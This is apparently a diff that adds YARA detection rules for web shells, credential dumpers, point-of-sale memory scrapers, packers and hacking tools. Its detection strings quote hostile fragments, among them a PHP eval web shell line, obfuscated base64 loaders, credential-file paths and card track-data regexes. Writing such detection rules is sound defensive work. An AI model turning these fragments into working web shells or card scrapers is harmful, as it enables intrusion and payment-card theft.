+	$s2 = "\\u9090\\u9090\\u9090\\u9090" wide ascii
+	$s3 = "shellcode" wide ascii
+	$s4 = "unicorn" wide ascii
+	$s5 = "helloWorld()" wide ascii
+	$s6 = "ANIMATECOLOR" wide ascii
+	$s7 = "UPXIgLvY" wide ascii
+condition:
+	$html and 3 of ($s*)
+}
+
+rule dark_edition
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "EXE"
+	version = "0.1"
+	reference = "Dark Edition" 
+strings:
+	$s1 = "[ Dark Edition ]" wide
+condition:
+    uint16(0) == 0x5A4D and $s1
+}
+
+rule dump_tool
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Related to pwdump6 and fgdump tools"
+strings:
+	$s1 = "lsremora"
+	$s2 = "servpw"
+	$s3 = "failed: %d"
+	$s4 = "fgdump"
+	$s5 = "fgexec"
+	$s6 = "fgexecpipe"
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
+
+rule GIF_exploit
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "GIF Exploits"
+	version = "0.1"
+	reference = "code.google.com/p/caffsec-malware-analysis"
+	date = "2013-12-14"
+strings:
+	$magic = {47 49 46 38 ?? 61} // GIF8<version>a
+	$s1 = "; // md5 Login" nocase
+	$s2 = "; // md5 Password" nocase
+	$s3 = "shell_exec"
+	$s4 = "(base64_decode"
+	$s5 = "<?php"
+	$s6 = "(str_rot13"
+	$s7 = ".exe"
+	$s8 = ".dll"
+	$s9 = "eval($_"
+condition:
+	($magic at 0) and any of ($s*)
+}
+
+rule gsec_generic
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "GSec Dump"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/29/2014"
+strings:
+	$s1 = "gsecdump"
+	$s2 = "usage: gsecdump"
+	$s3 = "dump hashes from SAM//AD"
+	$s4 = "dump lsa secrets"
+	$s5 = "dump_"
+	$s6 = "dump all secrets"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+rule html_exploit_GIF
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Web Shells"
+	version = "0.1"
+	reference = "code.google.com/p/caffsec-malware-analysis"
+	date = "2013-12-14"
+strings:
+	$magic = {47 49 46 38 ?? 61} // GIF8<version>a
+	$s1 = {3c 68 74 6d 6c 3e} // <html>
+	$s2 = {3c 48 54 4d 4c 3e} // <HTML>
+condition:
+	($magic at 0) and (any of ($s*))
+}
+
+/*
+rule jpg_web_shell
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.1"
+	data = "12/19/2013"
+	reference = "http://www.securelist.com/en/blog/208214192/Malware_in_metadata"
+strings:
+	$magic = { ff d8 ff e? } // e0, e1, e8
+	$s1 = "<script src"
+	$s2 = "/.*//*e"
+	$s3 = "base64_decode"
+condition:
+	($magic at 0) and 1 of ($s*)
+}  
+*/
+
+
+rule malicious_LNK_files
+{
+strings:
+	$magic = {4C 00 00 00 01 14 02 00} // L.......
+	$s1 = "\\RECYCLER\\" wide
+	$s2 = "%temp%" wide
+	$s3 = "%systemroot%\\system32\\cmd.exe" wide
+	//$s4 = "./start" wide
+	$s5 = "svchost.exe" wide
+	$s6 = "lsass.exe" wide
+	$s7 = "csrss.exe" wide
+	$s8 = "winlogon.exe" wide
+	//$s9 = "%cd%" wide
+	$s10 = "%appdata%" wide
+	$s11 = "%programdata%" wide
+	$s12 = "%localappdata%" wide
+	$s13 = ".cpl" wide
+condition:
+	($magic at 0) and any of ($s*)
+}
+
+rule luxnet
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "EXE"
+	version = "0.1"
+	reference = "Luxnet RAT - http://leak.sx/thread-254973" 
+strings:
+	$s1 = "XilluX" wide nocase
+	$s2 = "Xanity" wide nocase
+	$s3 = "PHP RAT Client" wide
+condition:
+    uint16(0) == 0x5A4D and 1 of ($s*)
+}
+
+rule misc_iocs
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Misc."
+	version = "0.1"
+	reference = "N/A" 
+strings:
+	$doc = {D0 CF 11 E0} //DOCFILE0
+	$s1 = "dw20.exe"
+	$s2 = "cmd /"
+condition:
+    ($doc at 0) and (1 of ($s*))
+}
+
+rule misc_php_exploits
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.5"
+	data = "08/19/2014"
+	reference = "Virus Total Downloading PHP files and reviewing them..."
+strings:
+	$php = "<?php" nocase
+	$s1 = "eval(gzinflate(str_rot13(base64_decode("
+	$s2 = "eval(base64_decode("
+	$s3 = "eval(gzinflate(base64_decode("
+	$s4 = "cmd.exe /c"
+	$s5 = "eva1"
+	$s6 = "urldecode(stripslashes("
+	$s7 = "preg_replace(\"/.*/e\",\"\\x"
+	$s8 = "<?php echo \"<script>"
+	$s9 = "'o'.'w'.'s'" // 'Wi'.'nd'.'o'.'w'.'s'
+	$s10 = "preg_replace(\"/.*/\".'e',chr"
+	$s11 = "exp1ode"
+	$s12 = "cmdexec(\"killall ping;"
+	$s13 = "ms-mx.ru"
+	$s14 = "N3tsh_"
+	$s15 = "eval(\"?>\".gzinflate(base64_decode("
+	$s16 = "Your MySQL database has been backed up"
+	$s17 = "Idea Conceived By"
+	$s18 = "ncftpput -u $ftp_user_name -p $ftp_user_pass"
+	$s19 = "eval(gzinflate(base64_decode("
+	$s20 = "DTool Pro"
+condition:
+	not uint16(0) == 0x5A4D and $php and any of ($s*)
+}
+
+rule misc_shells
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.3"
+	data = "08/19/2014"
+strings:
+	$s1 = "second stage dropper"
+	$s2 = "SO dumped "
+	$s3 = "killall -9 "
+	$s4 = "1.sh"
+	$s5 = "faim.php"
+	$s6 = "file_get_contents("
+	$s7 = "$auth_pass ="
+	$s8 = "eval($" // Possible FPs
+	$s9 = "Find *config*.php"
+	$s10 = "Show running services"
+	$s11 = "Show computers"
+	$s12 = "Show active connections"
+	$s13 = "ARP Table"
+	$s14 = "Last Directory"
+	$s15 = ".htpasswd files"
+	$s16 = "suid files"
+	$s17 = "writable folders"
+	$s18 = "config* files"
+	$s19 = "show opened ports"
+	$s20 = ".pwd files"
+	$s21 = "locate config."
+	$s22 = "history files"
+	$s23 = "<?php @eval($_POST['cmd']);?>"
+	$s24 = "securityprobe.net"
+	$s25 = "ccteam.ru"
+	$s26 = "c99sh_sources"
+	$s27 = "c99mad"
+	$s28 = "31373"
+	$s29 = "c99_sess_put"
+	$s30 = "(\"fs_move_"
+	$s31 = "c99sh_bindport_"
+	$s32 = "mysql_dump"
+	$s33 = "Change this to your password"
+	$s34 = "ps -aux"
+	$s35 = "p4ssw0rD"
+	$s36 = "Ajax Command Shell by"
+	$s37 = "greetings to everyone in rootshell"
+	$s38 = "We now update $work_dir to avoid things like"
+	$s39 = "ls looks much better with"
+	$s40 = "I Always Love Sha"
+	$s41 = "fileperm=substr(base_convert(fileperms"
+	$s42 = "W A R N I N G: Private Server"
+	$s43 = "for power security"
+	$s44 = "[kalabanga]"
+	$s45 = "GO.cgi"
+	$s46 = "eval(gzuncompress(base64_decode("
+	$s47 = "ls -lah"
+	$s48 = "uname -a"
+	$s49 = "imageshack.us"
+	$s50 = "For Server Hacking"
+	$s51 = "Private Exploit"
+	$s52 = "chunk_split(base64_encode("
+	$s53 = "ending mail to $to......."
+	$s54 = "Mysql interface"
+	$s55 = "MySQL Database Backup"
+	$s56 = "mysql_tool.php?act=logout"
+	$s57 = "Directory Lister"
+	$s58 = "username and pass here"
+	$s59 = "echo base64_decode($"
+	$s60 = "get_current_user("
+	$s61 = "hey,specify directory!"
+	$s62 = "execute command:"
+	$s63 = "FILE UPLOADED TO $"
+	$s64 = "This server has been infected by"
+	$s65 = "Safe_Mode Bypass"
+	$s66 = "Safe Mode Shell"
+	$s67 = "CMD ExeCute"
+	$s68 = "/etc/passwd"
+condition:
+	not uint16(0) == 0x5A4D and any of ($s*)
+}
+
+rule monitor_tool_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS malware - Monitoring Tool??"
+strings:
+	$s1 = "RCPT TO"
+	$s2 = "MAIL FROM"
+	$s3 = "AUTH LOGIN"
+	$s4 = "Reply-To"
+	$s5 = "X-Mailer"
+	$s6 = "crypto"
+	$s7 = "test335.txt" wide
+	$s8 = "/c del"
+condition:
+	uint16(0) == 0x5A4D and 7 of ($s*)
+}
+
+rule mpress_2_xx_net : Packer
+{
+meta:
+	author="Kevin Falcoz"
+	date_create="24/03/2013"
+	description="MPRESS v2.XX .NET"
+strings:
+	$signature1={21 46 00 69 00 6C 00 65 00 20 00 69 00 73 00 20 00 69 00 6E 00 76 00 61 00 6C 00 69 00 64 00 2E 00 00 0D 4D 00 50 00 52 00 45 00 53 00 53 00 00 00 00 00 2D 2D 93 6B 35 04 2E 43 85 EF}
+condition:
+	$signature1
+    }
+
+rule mpress_2_xx_x64 : Packer
+{
+meta:
+	author="Kevin Falcoz"
+	date_create="19/03/2013"
+	last_edit="24/03/2013"
+	description="MPRESS v2.XX x64  - no .NET"
+
+strings:
+	$signature1={57 56 53 51 52 41 50 48 8D 05 DE 0A 00 00 48 8B 30 48 03 F0 48 2B C0 48 8B FE 66 AD C1 E0 0C 48 8B C8 50 AD 2B C8 48 03 F1 8B C8 57 44 8B C1 FF C9 8A 44 39 06 88 04 31} 
+condition:
+	$signature1 at (pe.entry_point)
+}
+
+rule mpress_2_xx_x86 : Packer
+{
+meta:
+	author="Kevin Falcoz"
+	date_create="19/03/2013"
+	last_edit="24/03/2013"
+	description="MPRESS v2.XX x86  - no .NET"
+
+strings:
+	$signature1={60 E8 00 00 00 00 58 05 5A 0B 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 50 AD 2B C8 03 F1 8B C8 57 51 49 8A 44 39 06 88 04 31 75 F6 2B C0 AC 8B C8 80 E1 F0 24} 
+condition:
+	$signature1 at (pe.entry_point)
+}
+
+rule nbtscan
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "nbtscan"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "nbtscan" nocase
+	$s2 = "subnet /%d"
+	$s3 = "invalid target"
+	$s4 = "usage: %s"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+rule osql_tool
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "O/I SQL - SQL query tool"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "osql\\src"
+	$s2 = "OSQLUSER"
+	$s3 = "OSQLPASSWORD"
+	$s4 = "OSQLSERVER"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+rule FE_PCAPs
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "N/A"
+	version = "0.1"
+	description = "Find FireEye PCAPs uploaded to Virus Total"
+	date = "12/30/2013"
+strings:
+	$magic = {D4 C3 B2 A1}
+	$ip1 = {0A 00 00 ?? C7 10 C7 ??} // "10.0.0.?? -> 199.16.199.??
+	$ip2 = {C7 10 C7 ?? 0A 00 00 ??} // "199.16.199.?? -> 10.0.0.??"
+condition:
+	$magic at 0 and all of ($ip*)
+}
+
+rule port_forward_tool
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Port Forwarding Tool"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "%d.%d.%d.%d"
+	$s2 = "%i.%i.%i.%i on port %i"
+	$s3 = "connect to %s:%i"
+	$s4 = "%s:%i established"
+	$s5 = "%s:%i closed"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+
+// Point of Sale (POS) Malware and Tools used during POS compromises
+
+rule blackpos_v2
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.1"
+	reference = "http://blog.nuix.com/2014/09/08/blackpos-v2-new-variant-or-different-family"
+strings:
+	$s1 = "Usage: -[start|stop|install|uninstall"
+	$s2 = "\\SYSTEM32\\sc.exe config LanmanWorkstation"
+	$s3 = "t.bat"
+	$s4 = "mcfmisvc"
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+
+rule misc_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS Malware"
+strings:
+	$s1 = "KAPTOXA"
+	$s2 = "cmd /c net start %s"
+	$s3 = "pid:"
+	$s4 = "%ADD%"
+	$s5 = "COMSPEC"
+	$s6 = "KARTOXA"
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
+
+rule unknown
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Unknown POS"
+strings:
+	$s1 = "a.exe" wide
+	$s2 = "Can anyone test" wide
+	$s3 = "I m in computer class now" wide
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
+
+rule regex_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS malware - Regex"
+strings:
+	$n1 = "REGEXEND" nocase
+	$n2 = "RegExpr" nocase
+	$n3 = "regex"
+	$s4 = "[1-5][0-9]{14}=(?!1201|1202|1203|1204|11|10|09|08|07|06|05|04|03|02)[0-9]{5}[0-9]*"
+	$s5 = "[47][0-9]{13}=(?!1201|1202|1203|1204|11|10|09|08|07|06|05|04|03|02)[0-9]{5}[0-9]*"
+	$s6 = "(?:0[0-5]|[68][0-9])[0-9]{11}=(?!1201|1202|1203|1204|11|10|09|08|07|06|05|04|03|02)[0-9]{5}[0-9]*"
+	$s7 = "(?:011|5[0-9]{2})[0-9]{12}=(?!1201|1202|1203|1204|11|10|09|08|07|06|05|04|03|02)[0-9]{5}[0-9]*"
+	$s8 = "(?:2131|1800|35\\d{3})\\d{11}=(?!1201|1202|1203|1204|11|10|09|08|07|06|05|04|03|02)[0-9]{5}[0-9]*"
+	$s9 = "([0-9]{15,16}[D=](0[7-9]|1[0-5])((0[1-9])|(1[0-2]))[0-9]{8,30})"
+	$s10 = "((b|B)[0-9]{13,19}\\^[A-Za-z\\s]{0,30}\\/[A-Za-z\\s]{0,30}\\^(0[7-9]|1[0-5])((0[1-9])|(1[0-2]))[0-9\\s]{3,50}[0-9]{1})"
+	$s11 = "[0-9]*\\^[a-zA-Z]*/[a-zA-Z ]*\\^[0-9]*"
+	$s12 = "\\d{15,19}=\\d{13,}"
+	$s13 = "\\;?[3-9]{1}[0-9]{12,19}[D=\\u0061][0-9]{10,30}\\??"
+	$s14 = "[0-9]{12}(?:[0-9]{3})?=(?!1201|1202|1203|1204|11|10|09|08|07|06|05|04|03|02)[0-9]{5}[0-9]*"
+condition:
+	uint16(0) == 0x5A4D and 1 of ($n*) and 1 of ($s*)
+}
+
+rule regexpr_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS malware - RegExpr"
+strings:
+	$s1 = "RegExpr" nocase
+	$s2 = "Data.txt"
+	$s3 = "Track1"
+	$s4 = "Track2"
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
+
+rule reg_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS malware - RegExpr"
+strings:
+	$s1 = "T1_FOUND: %s"
+	$s2 = "id=%s&log=%s"
+	$s3 = "\\d{15,19}=\\d{13,}"
+condition:
+	uint16(0) == 0x5A4D and 2 of ($s*)
+}
+
+rule sets_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS malware - Sets"
+strings:
+	$s1 = "GET /sets.txt"
+condition:
+	uint16(0) == 0x5A4D and $s1
+}
+
+
+rule pstgdump
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "pstgdump"
+strings:
+	$s1 = "fgdump\\pstgdump"
+	$s2 = "pstgdump"
+	$s3 = "Outlook"
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+rule keyfinder_tool
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Magical Jelly Bean KeyFinder"
+strings:
+	$s1 = "chgxp.vbs"
+	$s2 = "officekey.exe"
+	$s3 = "findkey.exe"
+	$s4 = "xpkey.exe"
+condition:
+	uint16(0) == 0x5A4D and 2 of ($s*)
+}
+
+rule memdump_diablo
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Process Memory Dumper - DiabloHorn"
+strings:
+	$s1 = "DiabloHorn"
+	$s2 = "Process Memory Dumper"
+	$s3 = "pid-%s.dmp"
+	$s4 = "Pid %d in not acessible" // SIC
+	$s5 = "memdump.exe"
+	$s6 = "%s-%d.dmp"
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
+
+
+rule sysocmgr
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "System stand-alone Optional Component Manager - http://support.microsoft.com/kb/222444"
+strings:
+	$s1 = "SYSOCMGR.EXE" wide
+	$s2 = "System stand-alone Optional Component Manager" wide
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+
+rule lacy_keylogger
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Appears to be a form of keylogger."
+strings:
+	$s1 = "Lacy.exe" wide
+	$s2 = "Bldg Chive Duel Rip Query" wide
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+rule searchinject
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Usage: SearchInject <PID1>[PID2][PID3] - It loads Searcher.dll (appears to be hard coded)"
+strings:
+	$s1 = "SearchInject"
+	$s2 = "inject base:"
+	$s3 = "Searcher.dll" nocase
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+
+rule heistenberg_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS Malware"
+strings:
+	$s1 = "KARTOXA"
+	$s2 = "dmpz.log"
+	$s3 = "/api/process.php?xy="
+	$s4 = "User-Agent: PCICompliant" // PCICompliant/3.33
+	$s6 = "%s:*:Enabled:%s"
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
+
+rule pos_jack
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Point of Sale (POS) Malware"
+	version = "0.1"
+	reference = "http://blog.spiderlabs.com/2014/02/jackpos-the-house-always-wins.html"
+	date = "2/22/2014"
+strings:
+	$pdb1 = "\\ziedpirate.ziedpirate-PC\\"
+	$pdb2 = "\\sop\\sop\\"
+condition:
+	uint16(0) == 0x5A4D and 1 of ($pdb*)
+}
+
+rule pos_memory_scrapper_
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Point of Sale (POS) Malware Memory Scraper"
+	version = "0.3"
+	description = "POS Memory Scraper"
+	date = "01/30/2014"
+strings:
+	$s1 = "kartoxa" nocase
+	$s2 = "CC2 region:"
+	$s3 = "CC memregion:"
+	$s4 = "target pid:"
+	$s5 = "scan all processes:"
+	$s6 = "<pid> <PATTERN>"
+	$s7 = "KAPTOXA"
+	$s8 = "ATTERN"
+	$s9 = "\\svhst%p"
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
+
+rule pos_malwre_dexter_stardust
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Dexter Malware - StarDust Variant"
+	version = "0.1"
+	description = "Table 2 arbornetworks.com/asert/wp-content/uploads/2013/12/Dexter-and-Project-Hook-Break-the-Bank.pdf"
+	reference = "16b596de4c0e4d2acdfdd6632c80c070, 2afaa709ef5260184cbda8b521b076e1, and e3dd1dc82ddcfaf410372ae7e6b2f658"
+	date = "12/30/2013"
+strings:
+	$s1 = "ceh_3\\.\\ceh_4\\..\\ceh_6"
+	$s2 = "Yatoed3fe3rex23030am39497403"
+	$s3 = "Poo7lo276670173quai16568unto1828Oleo9eds96006nosysump7hove19"
+	$s4 = "CommonFile.exe"
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+    
+rule pos_malware_project_hook
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Project Hook"
+	version = "0.1"
+	description = "Table 1 arbornetworks.com/asert/wp-content/uploads/2013/12/Dexter-and-Project-Hook-Break-the-Bank.pdf"
+	reference = "759154d20849a25315c4970fe37eac59"
+	date = "12/30/2013"
+strings:
+	$s1 = "CallImage.exe"
+	$s2 = "BurpSwim"
+	$s3 = "Work\\Project\\Load"
+	$s4 = "WortHisnal"
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+rule pdb_strings_Rescator
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Target Attack"
+	version = "0.3"
+	description = "Rescator PDB strings within binaries"
+	date = "01/30/2014"
+strings:
+	$pdb1 = "\\Projects\\Rescator" nocase
+condition:
+	uint16(0) == 0x5A4D and $pdb1
+}
+
+rule pos_uploader
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Point of Sale (POS) Malware"
+    reference = "http://blogs.mcafee.com/mcafee-labs/analyzing-the-target-point-of-sale-malware"
+	version = "0.1"
+	description = "Testing the base64 encoded file in sys32"
+	date = "01/30/2014"
+strings:
+	$s1 = "cmd /c net start %s"
+	$s2 = "ftp -s:%s"
+	$s3 = "data_%d_%d_%d_%d_%d.txt"
+	$s4 = "\\uploader\\"
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+rule winxml_dll
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Point of Sale (POS) Malware"
+    reference = "ce0296e2d77ec3bb112e270fc260f274"
+	version = "0.1"
+	description = "Testing the base64 encoded file in sys32"
+	date = "01/30/2014"
+strings:
+	$s1 = "\\system32\\winxml.dll"
+	//$s2 = "cmd /c net start %s"
+	//$s3 = "=== pid:"
+	//$s4 = "GOTIT"
+	//$s5 = ".memdump"
+	//$s6 = "POSWDS"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+rule pos_chewbacca
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Point of Sale (POS) Malware"
+    reference = "https://www.securelist.com/en/blog/208214185/ChewBacca_a_new_episode_of_Tor_based_Malware"
+    hashes = "21f8b9d9a6fa3a0cd3a3f0644636bf09, 28bc48ac4a92bde15945afc0cee0bd54"
+	version = "0.2"
+	description = "Testing the base64 encoded file in sys32"
+	date = "01/30/2014"
+strings:
+	$s1 = "tor -f <torrc>"
+	$s2 = "tor_"
+	$s3 = "umemscan"
+	$s4 = "CHEWBAC"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+rule pos_memory_scrapper
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Point of Sale (POS) Malware Memory Scraper"
+	version = "0.1"
+	description = "POS Memory Scraper"
+    reference = "7f9cdc380eeed16eaab3e48d59f271aa -> http://www.xylibox.com/2013/05/dump-memory-grabber-blackpos.html"
+	date = "12/30/2013"
+strings:
+    $string1 = "kartoxa" nocase
+    $string2 = "CC2 region:"
+    $string3 = "CC memregion:"
+    $string4 = "target pid:"
+    $string5 = "scan all processes:"
+    $string6 = "<pid> <PATTERN>"
+    $string7 = "KAPTOXA"
+condition:
+	all of ($string*)
+}
+
+rule procdump
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Procdump"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "\\Procdump\\"
+	$s2 = "procdump"
+	$s3 = "Process"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+rule psexec_generic
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Sysinternals PsExec Generic"
+	filetype = "EXE"
+	version = "0.2"
+	date = "1/30/2014"
+strings:
+	$s1 = "PsInfSvc"
+	$s2 = "%s -install"
+	$s3 = "%s -remove"
+	$s4 = "psexec" nocase
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+rule rtf_multiple
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Multiple"
+	version = "0.1"
+	reference = "fd69a799e21ccb308531ce6056944842" 
+	date = "01/04/2014"
+strings:
+	$rtf = { 7b 5c 72 74 ?? ?? } // {\rt01 {\rtf1 {\rtxa
+    $string1  = "author user"
+	$string2   = "title Vjkygdjdtyuj" nocase
+	$string3    = "company ooo"
+	$string4  = "password 00000000"
+condition:
+    ($rtf at 0) and (all of ($string*))
+}
+
+rule scanline_mcafee
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "http://www.mcafee.com/us/downloads/free-tools/scanline.aspx"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "CPports.txt"
+	$s2 = "ICMP Time"
+	$s3 = "Foundsto"
+	$s4 = "USER"
+	$s5 = {55 50 58 ??} // UPX?
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+rule seven_zip_cmdversion
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "http://www.7-zip.org/download.html"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "7za"
+	$s2 = "7-Zip"
+	$s3 = "Usage:"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+rule shell_functions
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.1"
+	data = "08/19/2014"
+	reference = "N/A"
+strings:
+	$s1 = "function listDatabases()"
+	$s2 = "function dropDatabase()"
+	$s3 = "mysql_drop_db("
+	$s4 = "function listTables()"
+	$s5 = "passthru($cmd)"
+	$s6 = "function check_file()"
+	$s7 = "$id==\"fake-mail\""
+	$s8 = "Shell_Exec($cmd)"
+	$s9 = "move_uploaded_file("
+condition:
+	not uint16(0) == 0x5A4D and any of ($s*)
+}
+
+rule shell_names
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.3"
+	data = "08/19/2014"
+	reference = "N/A"
+strings:
+	$s1 = "faim.php"
+	$s2 = "css5.php"
+	$s3 = "groanea.php"
+	$s4 = "siler.php"
+	$s5 = "w.php" fullword
+	$s6 = "atom-conf.php"
+	$s7 = "405.php"
+	$s8 = "pack2.php"
+	$s9 = "r57shell.php"
+	$s10 = "shell.php" fullword
+	$s11 = "dra.php"
+	$s12 = "lol.php"
+	$s13 = "php-backdoor.php"
+	$s14 = "aspxspy.aspx"
+	$s15 = "c99.php"
+	$s16 = "c99shell.php"
+	$s17 = "fx29sh.php"
+	$s18 = "azrailphp.php"
+	$s19 = "CmdAsp.asp"
+	$s20 = "dingen.php"
+	$s21 = "entrika.php"
+condition:
+	not uint16(0) == 0x5A4D and any of ($s*)
+}
+
+rule sneakernet_trojan
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Sneakernet Trojan"
+	version = "0.1"
+	reference = "http://www.fidelissecurity.com/webfm_send/375" 
+	date = "01/30/2014"
+strings:
+    $s1 = "Mtx_Sp_On_PC_1_2_8"
+    $s2 = "%s /c del %s"
+    $s3 = "RECYCLED"
+condition:
+    uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+rule tran_duy_linh
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Misc."
+	version = "0.2"
+	reference = "8fa804105b1e514e1998e543cd2ca4ea, 872876cfc9c1535cd2a5977568716ae1, etc." 
+	date = "01/03/2014"
+strings:
+	$doc = {D0 CF 11 E0} //DOCFILE0
+	$string1 = "Tran Duy Linh" fullword
+	$string2 = "DLC Corporation" fullword
+condition:
+    ($doc at 0) and (all of ($string*))
+}
+
+rule unknown_creds_dump
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Misc. Creds Dump"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "OpenProcessToken:%d"
+	$s2 = "LookupPrivilegeValue:%d"
+	$s3 = "AdjustTokenPrivilege:%d"
+	$s4 = "\\GetPassword\\"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+
+rule _UPX_290_LZMA
+{
+meta:
+	description = "UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser"
+strings:
+	$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB}
+	$1 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 ?? ?? ?? ?? 90 90}
+condition:
+	$0 at (pe.entry_point) or $1 at (pe.entry_point)
+}
+
+rule _UPX_Protector_v10x_2
+{
+meta:
+	description = "UPX Protector v1.0x (2)"
+strings:
+	$0 = {EB ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB}
+condition:
+	$0
+}
+
+rule _UPX_V200V290
+{
+meta:
+	description = "UPX V2.00-V2.90 -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+strings:
+	$0 = {FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+condition:
+	$0
+}
+
+rule _UPX_v0896
+{
+meta:
+	description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22 DLL"
+strings:
+	$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+condition:
+	$0 at (pe.entry_point)
+}
+
+rule web_log_review
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.1"
+	reference = "http://blog.shadowserver.org/2013/05/06/breaking-the-kill-chain-with-log-analysis/"
+	date = "2013-12-14"
+strings:
+	$s =   "GET /.htaccess"
+	$s0 =  "GET /db/main.php"
+	$s3 =  "GET /dbadmin/main.php"
+	$s4 =  "GET /phpinfo.php"
+	$s5 =  "GET /password"
